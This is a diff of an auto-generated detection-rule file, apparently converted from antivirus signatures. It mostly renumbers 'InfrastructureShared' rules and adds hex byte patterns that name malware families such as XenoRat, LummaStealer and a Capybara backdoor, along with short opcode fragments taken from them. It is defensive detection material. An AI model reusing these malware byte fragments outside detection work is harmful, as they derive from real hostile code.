_InfrastructureShared_5494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54448,7 +56843,7 @@ rule _InfrastructureShared_5261{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5262{ +rule _InfrastructureShared_5495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54458,7 +56853,7 @@ rule _InfrastructureShared_5262{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5263{ +rule _InfrastructureShared_5496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54468,7 +56863,7 @@ rule _InfrastructureShared_5263{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5264{ +rule _InfrastructureShared_5497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54478,7 +56873,7 @@ rule _InfrastructureShared_5264{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5265{ +rule _InfrastructureShared_5498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54488,7 +56883,7 @@ rule _InfrastructureShared_5265{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5266{ +rule _InfrastructureShared_5499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54498,7 +56893,7 @@ rule _InfrastructureShared_5266{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5267{ +rule _InfrastructureShared_5500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54508,7 +56903,7 @@ rule _InfrastructureShared_5267{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5268{ +rule _InfrastructureShared_5501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54518,7 +56913,7 @@ rule _InfrastructureShared_5268{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5269{ +rule _InfrastructureShared_5502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54528,7 +56923,7 @@ rule _InfrastructureShared_5269{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5270{ +rule _InfrastructureShared_5503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54538,7 +56933,7 @@ rule _InfrastructureShared_5270{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5271{ +rule _InfrastructureShared_5504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54548,7 +56943,7 @@ rule _InfrastructureShared_5271{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5272{ +rule _InfrastructureShared_5505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54558,7 +56953,7 @@ rule _InfrastructureShared_5272{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5273{ +rule _InfrastructureShared_5506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54568,7 +56963,7 @@ rule _InfrastructureShared_5273{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5274{ +rule _InfrastructureShared_5507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54578,7 +56973,7 @@ rule _InfrastructureShared_5274{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5275{ +rule _InfrastructureShared_5508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54588,7 +56983,7 @@ rule _InfrastructureShared_5275{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5276{ +rule _InfrastructureShared_5509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54598,7 +56993,7 @@ rule _InfrastructureShared_5276{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5277{ +rule _InfrastructureShared_5510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54608,7 +57003,7 @@ rule _InfrastructureShared_5277{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5278{ +rule _InfrastructureShared_5511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54618,7 +57013,7 @@ rule _InfrastructureShared_5278{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5279{ +rule _InfrastructureShared_5512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54628,7 +57023,7 @@ rule _InfrastructureShared_5279{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5280{ +rule _InfrastructureShared_5513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54638,7 +57033,7 @@ rule _InfrastructureShared_5280{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5281{ +rule _InfrastructureShared_5514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54648,7 +57043,7 @@ rule _InfrastructureShared_5281{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5282{ +rule _InfrastructureShared_5515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54658,7 +57053,7 @@ rule _InfrastructureShared_5282{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5283{ +rule _InfrastructureShared_5516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54668,7 +57063,7 @@ rule _InfrastructureShared_5283{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5284{ +rule _InfrastructureShared_5517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54678,7 +57073,7 @@ rule _InfrastructureShared_5284{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5285{ +rule _InfrastructureShared_5518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54688,7 +57083,7 @@ rule _InfrastructureShared_5285{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5286{ +rule _InfrastructureShared_5519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54698,7 +57093,7 @@ rule _InfrastructureShared_5286{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5287{ +rule _InfrastructureShared_5520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54708,7 +57103,7 @@ rule _InfrastructureShared_5287{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5288{ +rule _InfrastructureShared_5521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54718,7 +57113,7 @@ rule _InfrastructureShared_5288{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5289{ +rule _InfrastructureShared_5522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54728,7 +57123,7 @@ rule _InfrastructureShared_5289{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5290{ +rule _InfrastructureShared_5523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54738,7 +57133,7 @@ rule _InfrastructureShared_5290{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5291{ +rule _InfrastructureShared_5524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54748,7 +57143,7 @@ rule _InfrastructureShared_5291{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5292{ +rule _InfrastructureShared_5525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54758,7 +57153,7 @@ rule _InfrastructureShared_5292{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5293{ +rule _InfrastructureShared_5526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54768,7 +57163,7 @@ rule _InfrastructureShared_5293{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5294{ +rule _InfrastructureShared_5527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54778,7 +57173,7 @@ rule _InfrastructureShared_5294{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5295{ +rule _InfrastructureShared_5528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54788,7 +57183,7 @@ rule _InfrastructureShared_5295{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5296{ +rule _InfrastructureShared_5529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54798,7 +57193,7 @@ rule _InfrastructureShared_5296{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5297{ +rule _InfrastructureShared_5530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54808,7 +57203,7 @@ rule _InfrastructureShared_5297{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5298{ +rule _InfrastructureShared_5531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54818,7 +57213,7 @@ rule _InfrastructureShared_5298{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5299{ +rule _InfrastructureShared_5532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54828,7 +57223,7 @@ rule _InfrastructureShared_5299{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5300{ +rule _InfrastructureShared_5533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54838,7 +57233,7 @@ rule _InfrastructureShared_5300{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5301{ +rule _InfrastructureShared_5534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54848,7 +57243,17 @@ rule _InfrastructureShared_5301{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5302{ +rule _InfrastructureShared_5535{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 65 6e 6f 52 61 74 2e 41 58 4e 52 21 4d 54 42 00 01 00 2f 03 31 d2 f7 f1 0f be 0d 90 01 04 29 c8 66 0f 6e d8 66 0f eb d9 f2 0f 5c da f2 0f 59 de f2 0f 2c d3 21 da 03 74 24 04 01 d2 29 d6 8b 04 24 90 00 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_5536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54858,7 +57263,7 @@ rule _InfrastructureShared_5302{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5303{ +rule _InfrastructureShared_5537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54868,7 +57273,7 @@ rule _InfrastructureShared_5303{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5304{ +rule _InfrastructureShared_5538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54878,7 +57283,17 @@ rule _InfrastructureShared_5304{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5305{ +rule _InfrastructureShared_5539{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 44 6c 6c 48 69 6a 61 63 6b 2e 47 56 41 31 00 01 00 38 01 66 c7 40 ee 49 ba 48 8d 40 14 48 63 ca 49 03 c9 48 89 48 dc b9 f8 0f 00 00 c7 40 e4 41 ff a2 00 2b ca 89 48 e7 83 c2 10 66 c7 40 eb 90 90 c6 40 ed 90 49 83 e8 01 75 c8 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_5540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54888,7 +57303,7 @@ rule _InfrastructureShared_5305{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5306{ +rule _InfrastructureShared_5541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54898,7 +57313,7 @@ rule _InfrastructureShared_5306{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5307{ +rule _InfrastructureShared_5542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54908,17 +57323,27 @@ rule _InfrastructureShared_5307{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5308{ +rule _InfrastructureShared_5543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_77_0 = {69 46 6f 72 5a 62 6f 74 4f 62 66 75 73 63 61 74 6f 72 00 01 00 3b 01 8b 45 e4 89 45 d0 8b 4d d0 89 4d ec 8b 55 f0 89 55 e8 8b 45 08 03 45 f0 89 45 d4 8b 4d d4 8b 11 03 55 e8 8b 45 d4 89 10 8b 4d 08 03 4d f0 8b 11 33 55 ec 8b 45 08 03 45 f0 89 10 00 00 78 60 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 } //19491 + $a_77_0 = {69 46 6f 72 5a 62 6f 74 4f 62 66 75 73 63 61 74 6f 72 00 01 00 3b 01 8b 45 e4 89 45 d0 8b 4d d0 89 4d ec 8b 55 f0 89 55 e8 8b 45 08 03 45 f0 89 45 d4 8b 4d d4 8b 11 03 55 e8 8b 45 d4 89 10 8b 4d 08 03 4d f0 8b 11 33 55 ec 8b 45 08 03 45 f0 89 10 00 00 78 60 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 } //19491 condition: ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5309{ +rule _InfrastructureShared_5544{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 43 61 70 79 62 61 72 61 2e 43 00 01 00 34 03 48 89 4c 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 ad 0f 5e 28 90 01 37 8b 4c 24 08 c1 e9 08 8b 54 24 08 c1 e2 18 09 d1 01 c8 33 44 24 08 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_5545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54928,7 +57353,7 @@ rule _InfrastructureShared_5309{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5310{ +rule _InfrastructureShared_5546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54938,7 +57363,17 @@ rule _InfrastructureShared_5310{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5311{ +rule _InfrastructureShared_5547{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 54 45 21 4d 54 42 00 01 00 2d 03 8a 1c 39 3c 90 01 01 74 90 01 01 0f b6 db 48 89 c6 48 c1 e6 90 01 01 4c 01 d6 8a 1c 33 41 30 1c 3e 48 ff c7 48 83 ff } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_5548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54948,7 +57383,7 @@ rule _InfrastructureShared_5311{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5312{ +rule _InfrastructureShared_5549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54958,17 +57393,27 @@ rule _InfrastructureShared_5312{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5313{ +rule _InfrastructureShared_5550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 54 65 73 6c 61 39 21 4d 54 42 00 01 00 3b 03 0a 17 9a 72 90 01 03 70 6f 90 01 03 0a 14 19 8d 90 01 03 01 25 16 7e 90 01 03 04 a2 25 17 7e 90 01 03 04 a2 25 18 72 90 01 03 70 a2 6f 90 01 03 0a 0b 72 90 01 03 70 0c 2b 90 00 00 00 78 60 00 00 01 00 01 00 01 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 } //21539 + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 54 65 73 6c 61 39 21 4d 54 42 00 01 00 3b 03 0a 17 9a 72 90 01 03 70 6f 90 01 03 0a 14 19 8d 90 01 03 01 25 16 7e 90 01 03 04 a2 25 17 7e 90 01 03 04 a2 25 18 72 90 01 03 70 a2 6f 90 01 03 0a 0b 72 90 01 03 70 0c 2b 90 00 00 00 78 60 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 } //21539 condition: ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5314{ +rule _InfrastructureShared_5551{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 47 41 4f 21 4d 54 42 00 01 00 30 03 41 57 41 56 41 55 41 54 56 57 55 53 48 83 ec 90 02 40 48 31 e0 48 89 44 24 90 02 10 48 8b 44 24 90 02 30 b8 90 01 04 90 02 40 3d 90 1b 03 90 00 00 00 78 60 00 00 01 00 01 00 01 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54978,7 +57423,7 @@ rule _InfrastructureShared_5314{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_5315{ +rule _InfrastructureShared_5553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -54988,7 +57433,7 @@ rule _InfrastructureShared_5315{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_5316{ +rule _InfrastructureShared_5554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -54999,7 +57444,7 @@ rule _InfrastructureShared_5316{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*26438) >=1 } -rule _InfrastructureShared_5317{ +rule _InfrastructureShared_5555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -55010,7 +57455,7 @@ rule _InfrastructureShared_5317{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*27752) >=1 } -rule _InfrastructureShared_5318{ +rule _InfrastructureShared_5556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -55021,7 +57466,7 @@ rule _InfrastructureShared_5318{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_5319{ +rule _InfrastructureShared_5557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -55032,7 +57477,7 @@ rule _InfrastructureShared_5319{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_5320{ +rule _InfrastructureShared_5558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -55043,7 +57488,7 @@ rule _InfrastructureShared_5320{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_5321{ +rule _InfrastructureShared_5559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -55054,7 +57499,7 @@ rule _InfrastructureShared_5321{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_5322{ +rule _InfrastructureShared_5560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -55064,7 +57509,17 @@ rule _InfrastructureShared_5322{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5323{ +rule _InfrastructureShared_5561{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 53 4c 46 48 21 4d 54 42 00 02 00 33 01 13 04 73 30 00 00 0a 13 05 28 31 00 00 0a 72 1b 00 00 70 28 32 00 00 0a 6f 33 00 00 0a 13 06 02 73 34 00 00 0a 13 07 09 11 06 6f 35 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_5562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -55074,7 +57529,7 @@ rule _InfrastructureShared_5323{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5324{ +rule _InfrastructureShared_5563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55085,7 +57540,7 @@ rule _InfrastructureShared_5324{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*16742) >=2 } -rule _InfrastructureShared_5325{ +rule _InfrastructureShared_5564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55096,7 +57551,7 @@ rule _InfrastructureShared_5325{ ((#a_46_0 & 1)*16675+(#a_f4_1 & 1)*19924) >=2 } -rule _InfrastructureShared_5326{ +rule _InfrastructureShared_5565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55107,7 +57562,7 @@ rule _InfrastructureShared_5326{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*12338) >=2 } -rule _InfrastructureShared_5327{ +rule _InfrastructureShared_5566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55118,7 +57573,7 @@ rule _InfrastructureShared_5327{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*30575) >=2 } -rule _InfrastructureShared_5328{ +rule _InfrastructureShared_5567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55129,7 +57584,7 @@ rule _InfrastructureShared_5328{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*16469) >=2 } -rule _InfrastructureShared_5329{ +rule _InfrastructureShared_5568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55140,7 +57595,7 @@ rule _InfrastructureShared_5329{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5330{ +rule _InfrastructureShared_5569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55151,7 +57606,7 @@ rule _InfrastructureShared_5330{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5331{ +rule _InfrastructureShared_5570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55162,7 +57617,7 @@ rule _InfrastructureShared_5331{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5332{ +rule _InfrastructureShared_5571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55173,7 +57628,7 @@ rule _InfrastructureShared_5332{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5333{ +rule _InfrastructureShared_5572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55184,7 +57639,7 @@ rule _InfrastructureShared_5333{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5334{ +rule _InfrastructureShared_5573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55195,7 +57650,7 @@ rule _InfrastructureShared_5334{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5335{ +rule _InfrastructureShared_5574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55206,7 +57661,7 @@ rule _InfrastructureShared_5335{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5336{ +rule _InfrastructureShared_5575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55217,7 +57672,7 @@ rule _InfrastructureShared_5336{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5337{ +rule _InfrastructureShared_5576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55228,7 +57683,7 @@ rule _InfrastructureShared_5337{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5338{ +rule _InfrastructureShared_5577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55239,7 +57694,7 @@ rule _InfrastructureShared_5338{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5339{ +rule _InfrastructureShared_5578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55250,7 +57705,7 @@ rule _InfrastructureShared_5339{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5340{ +rule _InfrastructureShared_5579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -55261,7 +57716,7 @@ rule _InfrastructureShared_5340{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5341{ +rule _InfrastructureShared_5580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ 